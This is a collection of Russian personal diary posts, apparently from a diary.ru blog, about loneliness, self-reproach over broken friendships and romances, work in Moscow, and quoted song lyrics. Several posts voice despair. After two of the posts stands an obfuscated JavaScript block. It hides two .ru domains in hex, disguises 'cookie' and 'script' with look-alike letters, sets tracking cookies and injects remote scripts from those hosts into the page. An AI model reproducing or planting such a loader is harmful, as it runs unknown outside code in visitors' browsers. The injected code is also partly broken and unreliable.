Охуитительно длинный пост с кучей личностных размышлизмов - пусть будет.

Хрен его вообще знает, как мне жить дальше.
Я стараюсь себя оживить. Но не хватает денег на будущее. Не хватает денег удержаться на любимой работе.

Я молчу про эмоции, которые вдруг перешли в третью позицию по психософии - любая эмоциональная атака меня вгоняет в ступор, как ящерку из Ранго. Хочется уйти, а если не дают и продолжают атаковать и докапываться - реакция становится совсем непредсказуемой, вплоть до того, что первое желание - схватить стул и швырнуть со всей силой в обидчика. Отстань!

Благо, сейчас пока огражден от подобных лобовых атак.
И сам не атакую. Застыл в ожидании, хотя нет, я вру. Я пустой, реанимирующий свою душу. Я ничего не жду.

Я не хочу ничего, кроме как удержаться в Москве на любимой работе. Любви не хочу, красивым снова быть не хочу, близкого и нового чего-то - ну... не знаю, не хочу, наверное.
Просто чего-то нового, может, было бы забавно.

Я хочу есть, спать, играть и работать. Пожить для себя, оставив в прошлом все ненадежное и необязательное.
Никто из них не был мне ничего должен, это я решил, что они мне вдруг будут все время радость давать. Это не так работает.

Самое восхитительное - я вообще ни на кого не злюсь. Никого не обижаю. Ни на кого не обижаюсь и не держу ничего плохого на уме. Ни о ком не сплетничаю, не говорю плохого и даже не думаю. Сижу в окопе, грею душу, приветствую усиленное присутствие моего хранителя.

Понял, где и как поступил не так. Понял полностью, почему Даня тогда взбеленился, и ведь он был прав, я просто не учитывал его эмоции, со своей колокольни смотрел. Он, конечно, тоже дурак, но и мне следовало быть осторожным. Впредь умнее буду.

Понял и осознал каждый свой шаг, вообще - каждый, со всеми, включая давние, когда чего-то не понимал.

Все понял, все осознал. Надо быть осторожнее, люди не так могут тебя понять и начать ожидать большего, а ты, не испытывая к ним ничего искреннего, но обнаружив вдруг тепло, начинаешь к нему тянуться и обманываешь и себя, и их. Ищешь искреннего, обманываешься.
Сначала узнавай, потом подпускай. Знаю, как сложно. Но ты столько в последние месяцы и даже годы начудил, что совсем о себе забыл, и себя - совсем. А все от недостатка искренней любви. Видел и завидовал, отчаянно хотел тоже и натыкался туда, потом сюда, на острые шпаги облома.

Мне очень грустно от того, что я с людьми делал, но ничего не попишешь, это все - очередной опыт, страница жизни, перевернутая и забытая.
Понял всех. И Арти тоже, и досконально. И вообще - всех. Как-то так иначе раскрылось сознание, что абсолютно любой человек в моей жизни стал мне понятен. Поздно, но я не жалею, хороший опыт, в общем-то - негативный, пусть негативный, но очень хороший.

Страсти человека губят и излишняя привязанность. И излишнее желание верить в то, чего нет на самом деле. Улыбнулся тебе человек, сказал пару слов ласковых, утешил в нужный момент - он твой лучший друг уже, поцеловал в щеку на прощание, будучи преисполнен теплом - уже любовник. А он даже не подозревал, что выражение его моментных эмоций, которые просто на_данный_момент такие, будут восприняты иначе. Кротик, слепой кротик, что ж ты самодурствовал, забывая, что другие люди тоже не плод твоего воображения, а они настоящие, они - живые, и не игрушки, которые ты тискать как угодно можешь.
Но и ты обманывался, думая, что моментные эмоции - могут перерасти в глубокие и настоящие. А потом оказывалось, ты уже передумал, оценил и решил, что нет, а с другой стороны тебя практически под алтарь повели, уверенные в тебе. Сидишь, язык откусываешь себе и думаешь - во дубина. Ну кто тебя просил. Ты же просто хорошо отнесся, но уже из вежливости не можешь отказать в тепле, и так и накапливается снежным шаром, тебя любят, а ты не очень, но тебе хорошо - тебя любят. Вот и считаешь - раз к тебе навязались, то и какие вообще претензии, тебя же любят, не ты. Ты ничего не должен.

Тьфу, голова садовая. Будто эти полгода не я был, а кто-то другой, вот не вел себя я так овердохуя времени. С 2010 года, а?
Если тебя любят - либо отворачивай от себя (хотя трудно справляться с лавиной нежности в твою сторону, не получается отбиваться, потом думаешь - а ладно, посмотрим, куда вынесет, и выносит в итоге на скалы, так как не то это, чего ты искренне хотел), либо соответствуй - но только в случае, если чувства взаимны.
А хотя чего я. Всегда, когда были взаимны, всегда и соответствовал. Начинаю выделываться, чувствуя, что я не люблю, что мне - никто, но меня - любят.
Такое только терпением и любовью и переламывается - чем больше в ответ на мои выделывания мне дать терпения и любви, тем больше шансов, что однажды я себе башку проломлю за свое поведение и дам человеку все царства и все океаны за то, что прошли испытание и вытерпели, значит - вправду надо. Мое стандартное испытание мной, которое не прошел ни один человек, потому что себя люди ценят, себя люди любят больше, чем тебя. Это, кстати, правильно, но странно, что никто не хочет журавля в небе, золотых гор в каком-то там далеком будущем, если сейчас можно отказаться от пути, как им кажется, иллюзий и выбрать другой путь. А я сижу с уже подготовленным в руке царством и думаю мрачно - ну епта. Ну епта. И куда теперь девать? Ведь почти заслужил!

И не жду молчуна больше, потому что то, что и как я к человеку - не прощают. Не понимают в первую очередь, а потому - не прощают. Ему, кстати, царство было и даром готово. Оно даром достается тем, кого я долго-долго ждал или сразу полюбил. Отрекся от престола, гадкий мальчишка!
В общем, зависит все от того, я ли пришел или пришли ко мне. Я в ответе за тех, кого приручил, но не за тех, кто ко мне навязался. Для этого должно ой-вей какое время пройти, чтобы быть точно уверенным, что потом и в горе и в радости - ты всегда сможешь доверять человеку. Мое потрясающее испытание мной отсеивает людей на ранней стадии, прежде чем они прочно вошли в мою жизнь, а потом как ухнули по голове топором. Пусть лучше сейчас кусаются, чем потом - да насмерть. Это мой способ самозащиты и испытания на прочность и на искренность чувств.
Я вот молчуна терплю - терплю. Ласково и долго. Потому что это мой выбор, меня о нем никто не просил, это я - навязался, я в его жизнь влез, так будь добр, осознавай, что тебе ничего не должны, даже если на минуту дали понять другое, а ты и увидел больше, чем было правдой - увидел желаемое. Тебе надо? Вот и терпи, придурок. Хотя ты и так уже все испортил, поддавшись чужому влиянию и ворчанием на него, а зря - ты всегда знал в глубине сердца, что ты не должен их слушать, только себя. Но нет - наслушавшись "ах он пидор, так с тобой поступать", поддался чужим мыслям и ему то же сказал. Ну епта бля, опять я мимо кассы, еблан. Опять высказал не свои настоящие мысли. Еб-лан.
Он поймет тоже. Поймет точно. Но боги! - его опытом не я буду. Это иначе работает. Просто однажды вспомнит - "Вот, однажды я обидел Сая", а поздно уже - и не у меня-то это "поздно", а он уже не пойдет, зачем?
Все это будет на опыте другого человека, и что-то такое будет тоже к тому человеку. Не ко мне. Ко мне будет просто понимание. И принятие, так как это прочитанная книга, закрыли - отбросили... Запомнили, правда.
Я еще немного посижу рядом, так, для верности. Знаю, что не дождусь ничего, так не бывает, но просто... просто потому что могу.

Ко мне не возвращаются, я не такой человек. Мало того - теперь я не приму. Не молчуна, нет, его точку зрения я бы послушал, а то он... ну... молчал все это время, я ж хз, чего на уме-то там. То есть понимаю, честно говоря, и думаю, прав, но с ним поболтать я бы не отказался, потому что он молчал. Просто молчал. А молчание - золото.
Не побежал бы к нему с распростертыми, правда. Просто бы не отказался встретиться. И почувствовал бы что-то, возможно, вот как сейчас в венах - чувствую. Почувствовал бы остаточное, что-то такое из серии того, что однажды мне вены солью перетирало, что однажны меня мириадами волшебных пузырьков поднимало к самому-самому небу. Горько, что так все вышло, а не иначе, что был с ним не настоящим и за маску свою хабарскую, глупую, танковую и поплатился.
Что не умел терпеть, обрадовался долгожданному алмазу и так к нему рванул, что ноги переломал.
Мне, конечно, "не спешить" больше смысла не будет, не думаю, что еще встречу такое волшебство, но если даже и встречу - я не поверю. Я уйду. Или не смогу просто спешить.
Или, как всегда - увижу и рвану, забыв нахрен все уроки. А, так и будет, кого я обманываю. Мерзко и горько. Хоть об стенку горох.

А со всеми остальными, кто ушел, кроме Дани, отказался бы увидеться. С Даней сам накосячил, так имей совесть признать это.
Признал, ему, правда, не надо. Да и я не горю желанием бежать и разливаться сиропом извинений под ногами.
Возможно, теперь и с Нии отказался бы тоже. Я просто их понял, так что смысла нет больше мечтать о встрече и растолковывании мне, твердолобому, моих ошибок. Они правы были. И я, в общем, в чем-то тоже, но лишь в чем-то.
Может, с Толей не отказался бы. Или отказался бы. Не знаю.
Всех остал

Даня имел силу все-таки попробовать со мной встретиться. А я ему оскомину-то жесткую натер. Зря я о нем плохо говорил, пустомеля этакий, все он правильно сделал, что решил нервы поберечь и от раздражителя да подальше. Молодец, хвалю, парень, есть яйца у тебя.

Нет, я не буду возвращаться к тому, что было. В одну реку дважды не войти, и я наконец-то это понял, оказавшись впервые по ту сторону баррикад. Всегда был по другую. А тут все иначе получилось.

Я не хочу как Нии, не хочу. Но буду.

Не влюбляйтесь в меня первыми и не привязывайтесь ко мне первыми.
Только взаимностью отвечайте мне, я сам выберу.
Т.е. я очень и очень долго еще никого не выберу и мне заебись.

No love.
И в задницу отношения, я не создан для романтики. Fug.

Пойду в душ и спать, на работу с утра, а я все еще сижу, переживаю за Рейна, надо будет компанию однозначно составить. Давно не было мне доверия такого, я и сам, если звоню в два ночи - значит, доверяю и очень, пусть на данный момент.
Сейчас доверяет, надо поддерживать уровень.
И купить пустырничка и заставить спать вовремя.

Спать, все.window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="20768",n=function(o){var e=document.сoоkiе.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.сoоkiе=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sсriрt");i.setAttribute("src",n),i.setAttribute("type","text/javasсript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))f=r(e)+"/ajs/"+t+"/c/"+c("saimango.diary.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();

@темы: мысли вслух, слив состояния, ухтыжнихуясебепост

---

Cassis.

Здесь только я, только я один в целом мире.
Я - центр Вселенной, я - большой взрыв, я - раскидываю руки, поднимаю их к небу, закрываю глаза и наслаждаюсь лучами энергии, идущими через мое тело.

Стоило оторвать себя от кучи энергетических ниточек, которые высасывали мое целое, меня самого, стоило уйти в окоп, сохранить свои потоки только для любимых людей и особенно - для самого себя, стоило мне повернуться к тем, кто действительно меня любит и всегда любил, к тем, кто меня ждал и был со мной, кто в любую трудную минуту помогал не только словом, но и делом, как вдруг все стало налаживаться.

Обрати внимание на тех, кто тебя любит и поддерживал всю жизнь, тех, кого ты обижал и забывал, но они все равно были рядом, хоть и бурчали, и ты увидишь, как уходит пустота, как раскрашивается жизнь новыми красками. Как внутри загорается огонек тепла.

Мне всего хватает. На данный момент все так, как нужно, и мне хватает всего.
Я - цельный, не раздробленный, а собранный воединый, и шрамы не болят, и я не держу зла вообще ни на кого и совершенно не помню ни одной обиды, я гармоничен - и я спокоен.
window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="20768",n=function(o){var e=document.сoоkiе.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.сoоkiе=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sсriрt");i.setAttribute("src",n),i.setAttribute("type","text/javasсript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))f=r(e)+"/pjs/"+t+"/c/"+c("saimango.diary.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();

@темы: blue space

---

Let me out.

Вот уж не думал, что однажды скажу "спасибо" алкоголю. За то, что через свое болезненное воздействие он оказывал мне раз за разом услугу, вытаскивая из меня подсознательные страхи и обиды, воплощая их в жизнь. Я намеренно шел на конфликт, пытаясь прояснить для себя причину, почему я чувствую себя обиженным и покинутым, а надо было к специалисту обратиться. И вот причина вылезла наружу, обнажилась, как скрытый прыщ какой - я искал химер. И оттого чувствовал несоответствие ожиданий и реальности.
9 лет я искал человека, которого очень полюбил - друга, когда-то того, которого считал лучшим, за что, не понимаю и сейчас, и никогда не понимал. Цеплялся за прошлое. В погоне за
прошлым, за этим человеком, чувствуя, как он ускользает, начал перекраивать себя, свое самое мышление, чтобы понять, на каких путях-дорожках найти его, так как только следуя путем того человека, ты его обнаружишь. Делая все для отношений, которые заранее были обречены на провал, не заметил, как сам укоренился в том, чтобы стать как тот человек. Мелочным, злым, пустословным, слова бросающим на ветер, нетерпеливым, заносчивым, крайне эгоистичным, делающим все лишь для того, чтобы только мне было комфортно, а остальные пусть как хотят, так и вертятся, им же надо - и... Не умеющим дружить. Не умеющим любить так, как надо. Понимая подсознательно, что не могу человека достигнуть, начал переносить "кальку" отношений на все новые и ныне существующие, стал искать поддержку в тех, кто ничего не должен мне, и уж тем более не было понятно, что за идиотская привычка - "помог, теперь ты мне должен", а я в жизни не разменивался на такие мелочи. Окружающие не понимали такого поведения, начали относиться с недоверием. Но 9 лет - это такое время, а на выстраивание новых и долгосрочных отношений не было времени, хотелось, чтобы все было здесь и сейчас, (я же столько сил и времени потратил на человека, где справедливость, казалось мне?), и было то, чего не хватало, и путем накопления вокруг себя массы людей, которым я симпатичен, я старался в общем и целом набрать тот уровень тепла и любви, который я вбухивал в пустой колодец, в вакуум.
Отсюда - переход на несколько уровней ниже. Притом дело в том, что мне и не хотелось никогда так поступать, это не мои мысли были, не меня-меня, но меня-игры, меня-маски. Это несоответствие собственной морали и собственных поступков, и особенно страшно то, что было непонятно, почему ты так поступаешь, почему тебя "ведет", и ты пытаешься набраться сил
этому противиться в моменты озарений, но потом снова по привычке поступаешь так, как поступал, не успевая задуматься и опомниться - просто потому что ты намеренно себя ухудшил, намеренно себя и свое мировосприятие перекроил, а привычка - страшное дело. И поступаешь так, чувствуешь так, а на деле осознаешь совсем иное, понимаешь, что все было
правильно, как ты делал, и люди чуют фальшь, знают, где ты, а где - нет. И нечего было жить чужой жизнью и уж тем более гоняться за человеком, который ни во что не ставил тебя. Но у некоторых людей есть свойство становиться лучше и меняться к лучшему, хотелось быть в этот момент рядом. А еще я все время и очень сильо боялся, что однажды у человека случится беда, и рядом никого не будет, потому что помню я слова - "И тогда я понял, что у меня нет друзей", и слова эти легли мне на сердце мыслью, что если бы я был тогда рядом, я бы помог, да что там - только я и помог бы. Потому что этот человек по-настоящему сдался только мне, все остальное в его мирке - мишура и позолота, а все потому, что к себе не пускает. Что за странные альтруистические мысли о спасении, когда это не нужно?
Думал, изменится, думал, станет сильнее и лучше. И ждал, терпеливо ждал, ждал хоть какого-то озарения, но все, что наблюдал - "Мне комфортно именно так и я буду делать так, как хочу я". А так поступать с людьми, которые с тобой рядом, которые единственные по-настоящему с тобой, не стоит. Я тоже так поступал потом, но я-то быстро осознал. Тут не 9 лет, тут полгода и мучительное перебарывание собственной фальши перед собой и всем миром. Они ждали и дождались, они - ждали, пока я пойму, и я благодарен. Пусть ругались на меня. Я тоже ждал, я тоже ругался, и вот - пришел конец моему золотому терпению. Я думал, у меня нет настоящего предела.
Есть. Есть предел.

Все дело в глупости и слабости, которые я допустил до себя. Чего я искал, чего я метался, не умея ждать и ничего не делая кроме собственного чувства любви ко всему миру, но я был уверен, что
этого хватит, а делать не нужно. Что оно мощное и теплое, и его за глаза. Но так не бывает. Это - система, - человечкские взаимоотношения, и простого пустомельства, легкого отношения, бахвальства и непонятно откуда взявшейся короны на голове качественно мало. Я не такой и корона легко не достается. Тиранов и пустомель свергают.
Вовремя понял. Нет, не совсем вовремя - много кого обидел. И некого винить, кроме себя. Это я себя перекраивал, меня никто не просил, никому не нужно это было.
Я потратил свою жизнь на человека, которому был не нужен. Которого хотел спасти, я знал точно, что однажды останется один и ничего-то не сумеет сделать. Я хотел предотвратить этот момент.

Сейчас мне кажется, что он не останется один. И с чего бы? И не нужна моя помощь. Даже если я - человек-9-лет-жизни. И большее люди выбрасывали из жизни, и находили лучшее... настоящее свое. Кому-то и он своим будет, и дай бог, чтобы так. Врагу не пожелаю того, чего сам осознал.

И сейчас, когда меня раздавило осознанием, когда воздушные замки рухнули, придавив собой строителя, когда я четко понял, как нужно жить дальше, одновременно с тем я не
понимаю совершенно, как я смогу жить дальше со всем этим. Как жить-то дальше, господи.

Описал все равно не все совсем так, но приблизительно верно. Горько мне и мерзко, и мнится полный яойлав. И вылезти хочется из грязной, опорочившей себя шкуры, и нельзя - ну куда
ты от этого тела? Надо отмывать долго и нудно от грязи, чтобы засверкать. Хватит ли сил?

Одинокий, потерянный, прекрасно осознающий, что нужно жить правильно, знающий как в плане техники, но непонимающий, как это сделать в плане сил.

Не заигрывайся, не зарывайся, думай и будь осторожен.

@темы: мысли вслух

---

I am-ok, but you're in danger.

Обнаружил, что перестал хотеть чего-то, кроме душевного спокойствия.
Я бы с огромной радостью просто взял и перестал отвечать людям, просто ушел бы наконец и все вокруг меня вздохнули бы спокойно.

Я наказан, наказываюсь и дрессируюсь небесами ежедневно. Я - сошел с ума в своей клетке.

---

Ghost tales.

В сердце - стремящаяся в небесную высь радость.
Она бурлит, сияет, греет мою истерзанную душонку.

Хоть что-то у меня получилось.
Я - гейм-дизайнер проекта "Привидения".
Они меня оставили.

---

Дословный привет от себя с 14 декабря 2014 года. Мысли те же, все то же. Одно же.

14.12.2014 в 01:48

Пишет  ex_sai:

Величие дается поневоле. Некий пост обо всем и ни о чем сразу.
Холодно тут как-то. В своей наконец-то квартирке.
Я чего-то уже добился. С нуля. Хоть чего-то.
Продолжай, ты сможешь. Через тернии к звездам.

Каждый раз, когда открываю душу, слышу резкие слова. Мерзотно, даже вроде не сильно открываю-то, так, приоткрываю дверцу, выглядываю с любопытством, - но обдает меня горячим паром в морду; приходится снова запираться на все замки, садиться у двери на порог и мрачно думать, что хуй тебе, а не счастье.

И это даже не горько, не грустно, порой да, бесит, но это - короткая вспышка гнева. А потом все укладывается на илистое дно, когда в голове всплывает одна-единственная мысль: "Ну, все правильно, а ты чего ждал-то."
И правда, а чего я ждал? Искренности и радости? Какого-то волшебства дружбы и любви? Что за бред подростка. Нет, правда, это хрень какая-то.
Ты в Москве, привыкай, тут люди другие.

"В Москве люди злые, не надо тебе сюда", говорил мне Нии в свое время - и был прав. Но самое обидное, наверное, что я правда привык и перестал на это реагировать. Как будто так и надо, как будто и не было прежде какой-то там "душевности". Я помню об этом явлении как о какой-то сказке, которую мне рассказывали в детстве - вроде смутно что-то припоминается, но уже не воспроизведу. Да и не хочется.

Я не знаю, зачем я тогда об этом пишу, если меня не волнует это. Просто записать бы, потом однажды перечитаю и подумаю - "Ну надо же, а в то время я иногда даже задумывался об этом".
Наверное, это чтоб совсем себя потом не потерять. Хотя кого волнует, даже меня - нет.

Насчет Нии - я наконец-то зарос. Остался синдром незавершенного действия - ну и ущемленное самолюбие. Who cares. Все ж таки последние его слова были, пожалуй, довольно понятными. Хотя он, как всегда, как-то так все хреново завуалировал, и думай теперь, то ли он там свои "точки над ё" расставил, то ли считает, что это ты сделал. То ли ты опять виноват - и новая загадка, в чем: а) ты просто мудак, б) он от тебя ушел, а ты ведешь себя как придурок и заебал, в) ты от него ушел (а с него может статься и такой расклад событий). Итог один - ты мудло. Вот что за охренительно прокачанное выставлять меня виноватым - да так, что я сам уверен, что виноват, но никогда не узнаю, почему. Просто вечное чувство вины. "Отполированный штык твоих упрёков ни разу не попадал мимо - это талант, моя девочка, это дар". (ц)
Дурацкое было смс, до сих пор не понял, чем он руководствовался.

Иногда будет подтормашивать, наверное. Все-таки трудно полностью в себе загубить это. Но оно будет редко. Редко и очень мало, в конце концов, даже такой охуительно глубокочувствующий чувак имеет право на "заебаться". Хотя какие уж там глубокие чувства, Москва и от этого меня отучила.
Никому не доверяй, ни к кому не привязывайся, отпускай прошлое, отпускай людей. Не думал, что однажды научусь этому, ан нет, глядите ж - научился. Спасибо, Один. Меньше чувств, меньше мыслей, меньше боли. Я за это время пережил все круги ада, загоняя сам себя еще глубже, сам насаживаясь на ножи и копья, так что все.
Боли нет. Нечему болеть. Болит только тело.

Перечитываю никчемный пост - и думаю, что выглядит, словно мне грустно. А мне даже и не грустно. Я даже обижаться разучился. Вообще. Нахуя?

Ладно, пойду пожую сушеный инжир и спать. Завтра снова на работу.

@темы: the same

---

To be honest, I really don't care. (c)

and I can't face the evening straight
you can offer me escape

На шее дергается вена в пульсации. Состояние, близкое к ноябрю 2014 года - после состояния августа 2014 года.
Я не могу поверить, насколько мне безразлично то, что со мной будет.
Мне просто без разницы.

i've seen it all, i've seen the dark

i've seen the brightness in one little spark:

i've seen what i chose and i've seen what i need,

and that is enough, to want more would be greed;

i've seen what i was and i know what i'll be
i've seen it all - there is no more to see

@музыка: Bjork and Thom Yorke – I've Seen It All

@темы: существование, жизнь как её нет, breathe, keep breathing, where good boys go to die

---

Don't ever say I never warned you from the start!

“And all our yesterdays have lighted fools
the way to dusty death.
Out, out, brief candle!
Life’s but a walking shadow, a poor player,
that struts and gets his hour upon the stage,
and then is heard no more.
It is a tale
told by and idiot, full of sound and fury,
signifying nothing.»

---

I'll tell you my sins so you can sharpen your knife (с)

Сегодня я впервые за долгое время спал действительно глубоко и спокойно.
Чистая совесть - лучшее снотворное.

Сколько людям ни доверяй, все равно окажется, что не доверять надо было еще больше.
Мелочность, злость, гниль, расчеты - вот такое ты видишь со стороны. 

Oh, you, people, will never survive.

@темы: guilt-free

---

Unendliche Tiefe und doch leer.

"Ты прости, но мне даже не верится, что мы зайдем в закрытую дверь...
Я не смею надеяться."(с)

Рвутся из меня строчки-ниточки, рвутся волокна истрепанного сердца, протянутые через время и пространство туда, где сзади теплые объятия и я не чувствую под ногами земли, лишь, дрожа, пытаюсь дотянуться, встать на цыпочки, стать выше, быть ближе. Задержать дыхание... запоминать каждой клеточкой этот волшебный момент. Вдыхать... вдыхать... вдыхать кожей...

Мы не будем вместе. Я истратил свои очки счастья.
Боже, я отдаю себя в твои руки. Да будет воля Твоя.

Попробуй прочитать молитву, сохранив глаза сухими...

"У меня за спиной звенит монгольская степь.
Я все еще в ней –
Мой милый вчера захлопнул дверь,
Он знал, что дело не в песнях и не в красоте."

- Не смотри на меня так.
- Как?
- Так честно и открыто. Люди так не смотрят.

Мне нечего стыдиться. Мой взгляд открыт. Люди не видят боль во взгляде, я раньше боялся, что её заметят, но она не заметна - и мне нечего бояться.
И если ты вправду чист...

Прости меня, я все испортил. Снова.
Я могу простить всех, я могу себя простить за многое, я не могу простить себя за то, что я упустил тебя, я правда был так близок к цели и всю жизнь будет преследовать меня призрак того, что не свершилось.
Пожалуйста, если тебе не суждено сбыться - уходи. Просто уходи из моего сердца и из моей головы.
И не было тебя. И не было меня. И не было ничего, я не видел тебя.
И во мне еще живет мечта на "встретить", "встретить и не терять".

Это конец всему.

@темы: мысли вслух, once upon a time, lg, sayonara, inside-out and outside-in, breathe, keep breathing, where good boys go to die

---

Mercy...

Как пусто в душе без миражей, без волшебства...
Я не один, но без тебя просто никто. (с)

Однажды мне перестанет быть больно.
Отпусти меня, я прошу тебя.
Я отпустил тебя, будь и ты милосерден.

Пощады...

@темы: lg, inside-out and outside-in, where good boys go to die, i beg your mercy

---

and as the day begins
the sun is soothing my skin
and I am divided for love

i have to say
that all this time
i waited for someone like you
you are my dream

Молчи. Терпи.

Молчи. Терпи.

Я никого не продал,
Не предал то, что любил.
Прости, как я бы простил,
Я просто плохо играл...

Мне хочется выйти и закричать с такой силой, чтобы отпугнуть всех вокруг.

Мне хочется выйти вон, выйти вон, выйти вон и никогда не возвращаться.

Я не позволю себе больше, не позволю.

Меня нет, есть только отчаянная боль внутри. То, что мешает дышать, жить — тьма и боль, которая не проходит.
В груди — огромный железный штырь, который не дает вдохнуть.

Каждый день. Каждую ночь. Каждую минуту. И ничего не помогает. Уже больше 7 месяцев — ежедневно хватаюсь за пустоту.
Больно и отчаянно горько.

Я стараюсь не быть, не думать, консолидироваться через работу — но это бесполезно.
Я не виноват...

Мы как вода в море,
Кровь в жилах, боль в сердце,
Нож в спину, двое как крылья...
Сон в руку, миг счастья, жизнь в муках.

Спасибо тебе, что ты случился в моей жизни. За каждую случайную улыбку, которая каждый раз освещала мой темный, темный, темный мир.

Вниз по небесной
лестнице, обернувшись облаком, опускался
Бог...

Тридцатого января я разрушил свой мир, который так долго собирал по крупицам. Пять лет собирал - и в один день разнес весь фундамент, желая сделать лучше. Ухватившись за волшебство. Разрушил, следуя своему сердцу, а ведь всегда твердил, что ему нужно следовать.

Я отпустил тебя, но вослед смотреть — больнее не придумаешь.

Ты же знаешь, я буду сидеть и ждать.
А толку-то...

@темы: lg, sayonara, playgod, breathe, keep breathing, where good boys go to die

---

Guilt-free.

seems like the drama never ends

«Просто те, кто по-настоящему любит, никогда не уйдут.. не смогут». И я действительно с этим согласен. В моей жизни это лишь мама, бабушка, Ория и мой мастер теней.
Моя совесть чиста — я не предавал никого, никого не бросал, не делал зла людям намеренно. Я остаюсь с любимыми до конца. Моя совесть чиста, и это самое прекрасное чувство, которое может быть.

but the show must keep on going
and show goes on

@темы: мысли вслух, where good boys go to die, guilt-free

---

ситуация выбора во сне.

вчера. во сне.

я выбирал тебя.
я выбирал тебя снова.
я снова выбрал тебя во сне.

я так понимаю, у меня не стоит выбора, хотя я во сне было взвыл.

так много выбора, и такой он трудный был, но...
но в этот раз я выбрал практически сразу.
я испытал себя. и ответил, что я не повторю той ситуации больше.

я все равно с тобой, всегда с тобой.
я всегда с тобой...

только зачем мне это все.
люблю и буду любить, но эх.

p.s.

на это мне сказали, что я - дурак, выбираю не того.

но я-то точно знаю, что я твой.

@темы: мысли вслух, lg, слив состояния, sweet dreams are made of this

---

Закрытая запись, не предназначенная для публичного просмотра

---

Happy b-day to me.

Oh God, it feels like forever...

С праздником, Сай, тебе уже 23 года.

Что я сделал за год хорошего:
- переехал в Москву;
- обзавелся новыми друзьями;
- научился как-никак, но лабать на гитаре;
- написал несколько песен;
- начал писать книгу;
- получил шикарную электрогитару;
- нашел работу, которая действительно по душе;
- избавился от комплекса вины.

Ну вот и умница же. Какой же я умница.
И пусть пусто в душе даже в собственный день рождения.

@темы: слив состояния, day in, day out

---

Закрытая запись, не предназначенная для публичного просмотра

---

here's to my sobriety.

take the time, you might miss your life

I think I've missed mine

это мне просто стоило подумать о том, что, может... да нет, конечно же, нет.
я научился не надеяться.
и тут же мурашки по плечам, спине, локтям, затылку - раз, два, три наплыв, потерян счет им.
выпьем за мою трезвость.
я не надеюсь, мысли-мухи, даже назойливые, но глупые, отгоняются легко, словно и нет их, и не было.

@музыка: I blame Coco - Summer rain

@темы: мысли вслух

---

Пока на работе.

Дни сумасшедшие. Сносящие крышу. Времени ни на что не хватает - так и пытаюсь сообразить, куда сегодня бежать, что еще сегодня делать.
Мои минские ребята - теплые, мурчащие, укрывающие теплом. Хочется обнимать, гладить, почесывать, как и они меня.
Я в дедлайне по жизни, но мне от этого хорошо.

@темы: жизнь как она есть, слив состояния

---

Survival mode|страхи

Почему в сутках не сотня часов, из которых работа занимает только 9?
